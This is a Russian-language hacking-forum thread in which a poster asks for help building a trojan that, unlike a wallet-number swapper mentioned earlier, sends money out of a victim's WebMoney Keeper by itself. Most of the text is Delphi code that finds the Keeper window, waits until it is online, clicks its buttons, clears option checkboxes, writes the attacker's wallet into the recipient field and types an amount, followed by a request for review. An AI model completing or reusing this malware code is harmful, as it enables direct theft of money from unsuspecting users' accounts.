Сообщение от
begin end
satana8920, а вот такая штука может подойдёт: http://forum.antichat.ru/thread31753-%F2%F0%EE%E9.html
На этом форуме вообще, очень много чего есть - Search и всё.
нет это не то там просто трой(хотя это трудно троем назвать) меняет номер кошелька а мне нужен что б сам бабло отправлял !
вот что то на подобий
if FindWindow(nil, 'WebMoney Keeper')><0 then
begin
KeeperWnd := FindWindow(0,'WebMoney Keeper');
ButtonWnd[1]:=GetWindow(KeeperWnd, gw_Child);
for i:=2 to 6 do ButtonWnd[i]:= GetWindow(ButtonWnd[i-1],gw_HWNDNext);
SetLength(ButText,20);
while Copy(ButText,1,3)><' On' do Online
begin
SendMessage(ButtonWnd[6],WM_GETTEXT,20,Longint(@ButText[1]));
end;
end;
а потом вот как то так что ли
sendmessage(ButtonWnd[5], WM_LBUTTONDOWN, MK_LBUTTON, 0);
sendmessage(ButtonWnd[5], WM_LBUTTONUP, 0, 0);
sleep(5);
GetWindowRect(ButtonWnd[5],korbut);
point.x :=korbut.TopLeft.X+5;
point.y :=korbut.TopLeft.Y-40;
MenWnd:=WindowFromPoint(point);
PostMessage (MenWnd, WM_KEYDOWN, VK_UP, 0);
PostMessage (hControl, WM_KEYDOWN, VK_RETURN, 0);
__________________так так так вот может так еще
OptionWnd := FindWindow(nil, 'Параметры проги');
CheckBox[1]:=GetWindow(OptionWnd, gw_Child);
for i:=2 to 40 do CheckBox[i]:=GetWindow(CheckBox[i-1], gw_HWNDNext);
temp:=SendMessage(CheckBox[6], bm_GetCheck, 0, 0);
if temp >< 0 then SendMessage(CheckBox[6], bm_SetCheck, 0, 0);
temp:=SendMessage(CheckBox[7], bm_GetCheck, 0, 0);
if temp >< 0 then SendMessage(CheckBox[7], bm_SetCheck, 0, 0);
sendmessage(handle, wm_lbuttondown, mk_lbutton, 0);
sendmessage(handle, wm_lbuttonup, mk_lbutton, 0);
и вот так вот
SendMessage(kosh_handle,WM_SETTEXT,0, LParam(PCHAR('Zнаш родиминький кошелечек')));
SendMessage(Money, wm_Char,WParam(PCHAR('5')),0);
SendMessage(Money, wm_Char,WParam(PCHAR('0')),0);
можт так?
эй народ взгляните плизз и зацените плиз =)